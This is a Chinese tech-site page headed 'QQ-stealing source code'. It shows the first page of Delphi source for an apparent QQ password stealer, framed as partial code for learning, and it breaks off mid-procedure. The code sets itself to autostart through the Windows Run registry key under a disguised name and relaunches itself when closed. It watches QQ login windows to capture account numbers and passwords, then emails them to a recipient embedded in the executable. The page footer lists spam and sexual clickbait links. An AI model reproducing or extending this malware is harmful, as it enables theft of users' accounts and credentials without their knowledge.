当前位置:错新网文章中心技术学院网络技术 → 盗QQ源码

盗QQ源码

减小字体 增大字体 作者:admin  来源:不详  发布时间:2014-4-26 19:57:16
只能给部分源码用于学习

unit GCommonMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
procedure ApplicationRun(hWindow: HWND);
procedure ReadSelfDataAppendedInExeFile;


implementation

var
  IsFind: Boolean = True;

procedure ReadSelfDataAppendedInExeFile;
var
  ExeFile: integer;
  EmailInfo: TEmailInfo;
begin
  try
    ExeFile := FileOpen(ParamStr(0), fmOpenRead or fmShareDenyNone);
    FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);
    FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));
    EmailRecever := EmailInfo.Receveer;
    EmailSubject := EmailInfo.Subject;
   // MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), '提示', MB_OK + MB_ICONINFORMATION);
  finally
    FileClose(ExeFile);
  end;
end;

//--------------------------------------------------------------------
//设置程序自动运行,为了减少程序的体积,采用API函数写注册表

procedure SetAutoRun;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  try
  {$IFNDEF DebugMode}
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    l := regopenkey(k1, 'Windows', k1);
    l := regopenkey(k1, 'CurrentVersion', k1);
    l := regopenkey(k1, 'Run', k1);
    p := pchar(ParamStr(0));
    l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
  {$ENDIF}
  except
  end;
end;


procedure RunExeAgainAndKillSelf(hWindows: HWND);
begin
  {$IFNDEF DebugMode}
  winexec(pchar(ExtractFilePath(ParamStr(0))), 1);
  KillTimer(hWindows, 1);
  {$ENDIF}
  Halt;
end;

procedure DoTimeMethod(hWnd: HWND);
begin
  SetAutoRun;
  if IsFind then //计时器处于查找QQ窗口...
    FindQQWindowForAnyVersion(hWnd, IsFind);
  if not IsFind then //计时器处于监视号码和密码...
    GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)
  else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
  begin
    isFind := true;
    SendMail;
  end;
end;

function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
  Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
  case uMsg of
    //退出
    WM_DESTROY:RunExeAgainAndKillSelf(hWnd);
  //计时器消息
    WM_TIMER: DoTimeMethod(hWnd);
  end;
end;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
var
  WinClass: TWndClassA;
  Inst: THandle;
begin
  In

[1] [2] [3] [4] [5] [6]  下一页


本文引用网址:

在下列搜索引擎中搜索“盗QQ源码”的相关信息:

谷歌搜索 百度搜索 360搜索 雅虎搜索 搜狗搜索 搜搜搜索 必应搜索 有道搜索
你可能还喜欢以下文章
  • 1如何做爱真人示范图片 男女ML常...
  • 2如何做爱更舒服?教你做爱72式...
  • 32014年高考零分作文:站不站起...
  • 4怎么做爱舒服?真人示范做爱姿...
  • 5情侣酒店开房qvod 情侣做爱视频...
  • 1首页flash幻灯片不显示解决方法...
  • 26月9日黑客武林免费送qq号和密...
  • 3网络红人如何赚钱?我要成为网...
  • 4女性18岁身份证号大全 成年女人...
  • 5如何设置三级域名?二级域名三...
  • 1合肥艳照门事件 合肥艳照门全套...
  • 2中国女大学生的淫靡生活
  • 3嫩白少妇与猛男户外疯狂车震遭...
  • 4江苏镇江郦荟艳照门 郦荟自拍高...
  • 5武汉十七中教室门种子 教室门q...
  • 1网上求职应聘12式绝招
  • 2Google服务器不搬来中国的根本...
  • 3全面分析IDC双线路实现技术方案...
  • 4网卡工作原理以及影响其工作的...
  • 5用Spring Web Flow和Terracott...
  • 赞助商广告

    图片文章导读

    相关文章阅览